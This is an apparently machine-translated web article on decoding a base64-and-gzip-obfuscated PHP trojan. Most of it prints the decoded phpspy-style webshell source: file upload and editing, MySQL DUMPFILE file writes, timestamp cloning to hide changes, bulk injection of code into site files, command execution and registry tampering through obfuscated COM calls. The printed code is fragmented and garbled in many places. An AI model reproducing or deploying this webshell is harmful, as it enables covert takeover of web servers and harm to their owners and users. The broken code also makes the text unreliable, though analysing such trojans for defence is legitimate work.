Analysis shows that this Trojan is encoded with base64 and then compressed. Although relevant confidentiality measures have been taken, the PHP code must be executed and it will eventually generate PHP source code, so the following PHP program is written to decode, decompress, and write it to a file. The decoding and decompression code is as follows:
Copy code The code is as follows:
function writetofile($filename, $data) { //File Writing $filenum=@fopen($filename,"w"); if (!$filenum) { return false; } flock($filenum,LOCK_EX); $file_data=fwrite($filenum,$data); fclose($filenum); return true; } ?>
Then run it in the php environment, you will get the php plaintext file as follows:
Copy codeThe code is as follows:
error_reporting(7); ob_start(); $mtime = explode(' ', microtime()); $starttime = $mtime[1] + $mtime[0 ]; @set_time_limit(0); //Non-safe mode can use the above function to cancel after timeout. /*====================== Program configuration======================* / // Whether password verification is required, 1 means verification is required, other numbers mean direct entry. The following options are invalid $admin['check'] = "1"; // If password verification is required , please change the login password //Default port table $hidden = "44997"; $admin['port'] = "80,139,21,3389,3306,43958,1433,5631"; //The second used to jump $admin['jumpsecond'] = "1"; //The connection port used for Ftp cracking $alexa = "yes"; / /Whether to display Alexa ranking, yes or no $admin['ftpport'] = "21"; // Whether to allow phpspy itself to automatically modify the time of the edited file to the creation time (yes/no) $retime = "no"; // The default cmd.exe location is used by the proc_open function. For Linux systems, please modify it accordingly. (If it is a winnt system, it can still be specified in the program) $cmd = "cmd.exe"; // Below is the copyright column displayed by phpspy, because it is regarded as a keyword and killed by many programs, Yuhan~~ allow customization.Don’t change it if you still don’t understand~~
Program path: '.$pathname.' Current directory ('.$dir_writeable.','.substr(base_convert(@fileperms($nowpath),10,8),-4). '): '.$nowpath.' Jump directory: '.$tb->makeinput('dir',''.$nowpath.'','','text','80') .' '.$tb->makeinput('','OK','','submit').' 〖Supports absolute paths and relative paths〗'));
$tb-> headerform(array('action'=>'?dir='.urlencode($dir),'enctype'=>'multipart/form-data','content'=>'Upload files to the current directory: ' .$tb->makeinput('uploadfile','','','file').' '.$tb->makeinput('doupfile','OK','','submit').$ tb->makeinput('uploaddir',$dir,'','hidden')));
$tb->headerform(array('action'=>'?action=editfile&dir= '.urlencode($dir),'content'=>'Create a new file in the current directory: '.$tb->makeinput('editfile').' '.$tb->makeinput('createfile',' Confirm','','submit')));
$tb->headerform(array('content'=>'Create a new directory in the current directory: '.$tb->makeinput( 'newdirectory').' '.$tb->makeinput('createdirectory','OK','','submit'))); ?>
//Delete directory elseif (!empty($deldir)) { $deldirs="$dir/$deldir"; if (!file_exists("$deldirs") ) { , with with with with with the . > } }
// Create directory elseif (($createdirectory) AND !empty($_POST['newdirectory'])) { if (!empty($newdirectory) ) { $mkdirs="$dir/$newdirectory"; if (file_exists("$mkdirs")) { echo "The directory already exists!"; } else { > echo (@mkdir("$mkdirs",0777)) ? "Directory creation successful!" : "Creation failed!"; @chmod("$mkdirs",0777); } } }
// Upload file elseif ($doupfile) { echo (@copy($_FILES['uploadfile']['tmp_name'],"".$uploaddir. "/".$_FILES['uploadfile']['name']."")) ? "Upload successful!" : "Upload failed!"; } elseif($action=="mysqlup" ){ $filename = $_FILES['upfile']['tmp_name']; if(!$filename) { echo "No file selected to upload."; }else{ $shell = file_get_contents($filename); $mysql = bin2hex($shell); if(!$upname) $upname = $_FILES['upfile' ]['name']; $shell = "select 0x".$mysql." from ".$database." into DUMPFILE '".$uppath."/".$upname."';"; $link=@mysql_connect($host,$user,$password); if(!$link){ echo "Login failed".mysql_error(); }else{ $result = mysql_query($shell, $link); if($result){ echo" The operation was successful. The file was successfully uploaded to ".$host.", and the file name was ".$uppath."/ ".$upname.".."; }else{ . 🎜>} elseif($action=="mysqldown"){ if(!empty($downtmp)) echo $downtmp; } // Edit file elseif ($_POST[' do'] == 'doeditfile') { if (!empty($_POST['editfilename'])) { if(!file_exists($editfilename)) unset($retime); if ($time==$now) $time = @filemtime($editfilename); $time2 = @date("Y-m-d H:i:s",$time); $filename="$editfilename" ; @$fp=fopen("$filename","w"); >".$_POST['filecontent']." $filecontent = gzdeflate($filecontent); $filecontent = base64_encode($filecontent); $filecontent = "< ;?phpn/*nThe code is encrypted by the light blue radiant fish!n*/neval(gzinflate(base64_decode('$filecontent'))));n"."?>"; filecontent = $_POST['filecontent']; fclose($fp); if($retime=="yes"){ echo" Yuyu automatic operation: "; echo $msg=@touch($filename,$time) ? " Modify the file as ". $ Time2." Success! ":" Modify the file time failed! "; } } else { echo" Please enter the file name you want to edit! "; } } //File download elseif ($_POST['do'] == 'downloads') { $contents = @file_get_contents($_POST['durl']); if(!$contents){ echo "Unable to read the data to download"; } elseif(file_exists($path)){ echo "Sorry, file". $path." already exists, please change the save file name."; }else{ $fp = @fopen($path,"w"); echo $msg=@fwrite($fp,$contents) ? "File downloaded successfully!" : " Download file failed to write!"; @fclose($fp); } } elseif($_POST['action']=="mix"){ if (!file_exists($_POST['mixto'])){ $tmp = base64_decode($mixdll); $tmp = gzinflate($tmp); $fp = fopen($_POST[' mixto'],"w"); echo $msg=@fwrite($fp,$tmp) ? "Decompression successful!" : "Is this directory not writable? !"; fclose($fp); }else{ echo"Isn’t it?".$_POST['mixto']."Already exists~"; } } // Edit file properties elseif ($_POST['do'] == 'editfileperm ') { if (!empty($_POST['fileperm'])) { $fileperm=base_convert($_POST['fileperm'],8,10); echo (@chmod( $dir."/".$file,$fileperm)) ? "Attribute modified successfully!" : "Modification failed!"; echo "File ".$file." The modified attributes are: ".substr( base_convert(@fileperms($dir."/".$file),10,8),-4); } else { echo "Please enter the attributes you want to set!"; } }
// File rename elseif ($_POST['do'] == 'rename') { if (!empty($_POST['newname'])) { $newname=$_POST['dir']."/".$_POST['newname']; if (@file_exists($newname)) { echo "".$_POST[ 'newname']." Already exists, please re-enter one!"; '])." Successfully changed the name to ".$_POST['newname']." !" : "Failed to modify the file name!"; } } else { The file name!"; } } elseif ($_POST['do'] == 'search') { if(!empty($oldkey)){ echo " Search keywords: [".$oldkey."], the search results are shown below: "; if($type2 == "getpath"){ echo "Move the mouse over the result file and a partial screenshot will be displayed."; } echo" "; find( $path); }else{ echo "You want to check for shrimps? Do you want to check for shrimps? Are there any shrimps that you want to check?"; } } elseif ($ _GET['action']=='plgmok') { dirtree($_POST['dir'],$_POST['mm']); } elseif ($_GET['action' ] == "plgm") { $action = '?action=plgmok'; $gm = ""; $tb->tableheader(); $tb->formheader($action,'Batch horse mounting'); $tb- >tdbody('Website batch horse-mounting program php version','center'); $tb->tdbody('File location: '.$tb->makeinput('dir',''.$ _SERVER["DOCUMENT_ROOT"].'','','text','60').' Code to be linked:'.$tb->maketextarea('mm',$gm,'50' ,'5').''.$tb->makehidden('do','Batch horse hanging').' '.$tb->makeinput('submit','Start horse hanging' ,'','submit'),'center','1','35'); echo ""; $tb->tablefooter(); } //end plgm // Clone time elseif ($_POST['do'] == 'domodtime') { if (!@file_exists($_POST['curfile'])) { echo "The file to be modified does not exist!"; } else { if (!@file_exists($_POST['tarfile'])) { echo "The file to be referenced does not exist!"; "; } else { The modification time of basename($_POST['curfile'])." was successfully changed to ".date("Y-m-d H:i:s",$time)." !" : "The modification time of the file failed!"; } } }
// Backup operation elseif ($_POST['do'] == 'backupmysql ') { if (empty($_POST['table']) OR empty($_POST['backuptype'])) { echo "Please select the data table to be backed up and the backup method!"; 🎜> @mysql_select_db($dbname) or die ("Failed to select database"); ); if ($filehandle) { $result = mysql_query("SHOW tables"); 🎜> while ( $currow = mysql_fetch_array($result)) { fwrite($ filehandle,"nnn");
fclose($filehandle); ""; } } } } elseif($downrar) { if (!empty($dl)) { if(eregi("unzipto:",$localfile)){ $path = "".$dir."/".str_replace("unzipto:","",$localfile).""; $zip = new Zip; $zipfile=$dir."/ ".$dl[0]; $array=$zip->get_list($zipfile); $count=count($array); $f=0; $d =0; for($i=0;$i<$count;$i++) { >Extract($zipfile,$path,$i)>0) $f++; "$dl[0] decompressed to ".$path." successfully ($f files$d directories)"; elseif($f==0) echo "$dl[0] decompressed Failed to reach ".$path."; else echo "$dl[0] is not fully decompressed ($f files and $d directories have been decompressed)"; }else{ $zipfile=""; $zip = new Zip; for($k=0;isset($dl[$k]);$k++) $zipfile=$ dir."/".$dl[$k]; ray($dl[$k]); $filesize=@filesize($dir." /".$zipfilearray[$i]); $fp=@fopen($dir."/".$filename,rb); $zipfiles[]=Array($filename,@fread($ fp,$filesize));
else { $filename=$dl[$k]; $filesize=@filesize($zipfile); $fp=@fopen($zipfile,rb); $zipfiles[]=Array($filename,@fread($fp,$filesize)); @fclose($fp); } } $zip->Add($zipfiles,1); $code = $zip->get_file(); $ck = "_QQ44997_".date("Y-m-d",time()).""; if(empty($localfile)){ header("Content-type: application/octet-stream"); header("Accept-Ranges: bytes"); header("Accept-Length: ".strlen($code)); header("Content-Disposition: attachment;filename=".$_SERVER['HTTP_HOST']."".$ck."_Files.zip"); echo $code; exit; }else{ $fp = @fopen("".$dir."/".$localfile."","w"); echo $msg=@fwrite($fp,$code) ? "压缩保存".$dir."/".$localfile."本地成功！!" : "Directory".$dir."No write permission!"; @fclose($fp); Pack the downloaded files!"; } } // Shell.Application run the program elseif(($_POST['do'] == 'programrun') AND !empty($_POST ['program'])) { $shell= &new COM('Sh'.'el'.'l.Appl'.'ica'.'tion'); $a = $shell-> ;ShellExecute($_POST['program'],$_POST['prog']); echo ($a=='0') ? "The program has been executed successfully!" : "The program failed to run!"; } // View PHP configuration parameter status elseif(($_POST['do'] == 'viewphpvar') AND !empty($_POST['phpvarname'])) { echo "Configuration parameters".$_POST['phpvarname']." Detection result: ".getphpcfg($_POST['phpvarname']).""; } // Read the registry elseif (($regread) AND !empty($_POST['readregname'])) { $shell= &new COM('WSc'.'rip'.'t.Sh'.'ell'); var_dump(@$shell->RegRead($_POST['readregname'])); }
// Write to the registry elseif(($regwrite) AND !empty($ _POST['writeregname']) AND !empty($_POST['regtype']) AND !empty($_POST['regval'])) { $shell= &new COM('W'.'Scr'. 'ipt.S'.'hell'); $a = @$shell->RegWrite($_POST['writeregname'], $_POST['regval'], $_POST['regtype']); echo ($a=='0') ? "Write registry key value successfully!" : "Write ".$_POST['regname'].", ".$_POST['regval']. ", ".$_POST['regtype']." Failed!"; } // Delete registry elseif(($regdelete) AND !empty($_POST['delregname']) ) { $shell= &new COM('WS'.'cri'.'pt.S'.'he'.'ll'); $a = @$shell->RegDelete($_POST ['delregname']); echo ($a=='0') ? "Delete registry key value successfully!" : "Delete ".$_POST['delregname']." Failed!"; } else { echo "$notice"; echo "ProgrampcAnywhere | Start Programs | AllUsers | Serv-U | "; for ($i=66;$i<=90;$i++){$drive= chr($i).':' ; if (is_dir($drive."/")){$vol=shelL("vol $drive");if(empty($vol))$vol=$drive;echo " $drive\";} }
} echo "
n"; /*===================== 执行操作 结束 =====================*/ if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) { $tb->tableheader(); ?>
} elseif ($_GET['action'] == "fileperm") { $action = "?dir=".urlencode($dir)."&file=".$file; $tb->tableheader(); $tb->formheader($action ,'Modify file attributes'); $tb->tdbody('Modify the attributes of '.$file.' to: '.$tb->makeinput('fileperm',substr(base_convert(fileperms($ dir.'/'.$file),10,8),-4))); $tb->makehidden('file',$file); $tb->makehidden(' dir',urlencode($dir)); $tb->makehidden('do','editfileperm'); $tb->formfooter('1','30'); }//end fileperm
elseif ($_GET['action'] == "newtime") { $action = "?dir=".urlencode($dir); $ cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=> 6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12) ; $tb->tableheader(); $tb->formheader($action,'Last modification time of cloned file'); $tb->tdbody("Modify file: " .$tb->makeinput('curfile',$file,'readonly')." → Target file: ".$tb->makeinput('tarfile','Full path and file name required'),' center','2','30'); $tb->makehidden('do','domodtime'); $tb->formfooter('','30'); $tb->formheader($action,'Last modification time of custom file'); $tb->tdbody('
Typical valid timestamp The range is from Friday 13 December 1901 20:45:54 GMT to Tuesday 19 January 2038 03:14:07 (The date is based on the minimum and maximum values of 32-bit signed integers (coming from)
Explanation: The day is between 01 and 30, the hour is between 0 and 24, and the minutes and seconds are between 0 and 60!
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
![[Web front-end] Node.js quick start](https://img.php.cn/upload/course/000/000/067/662b5d34ba7c0227.png)
